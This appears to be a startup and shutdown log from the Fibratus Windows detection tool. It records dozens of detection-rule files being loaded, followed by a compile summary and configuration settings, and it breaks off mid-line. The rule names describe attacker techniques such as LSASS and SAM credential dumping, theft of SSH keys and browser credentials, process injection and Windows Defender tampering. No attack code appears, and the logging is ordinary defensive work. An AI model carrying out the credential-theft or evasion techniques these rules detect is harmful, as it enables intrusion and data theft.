level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:41:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:41:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:41:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:41:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:42:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:42:04+01:00 level=info msg=bootstrapping with pid 14832. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:42:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true max-buffers=>36 min-buffers=>16 enable-image=>true flush-interval=>1s enable-registry=>true enable-audit-api=>true enable-thread=>true enable-mem=>false enable-vamap=>true enable-net=>true enable-dns=>false enable-threadpool=>false buffer-size=>512 enable-fileio=>true enable-handle=>false] + filament ....................... [ path=>C:\Program 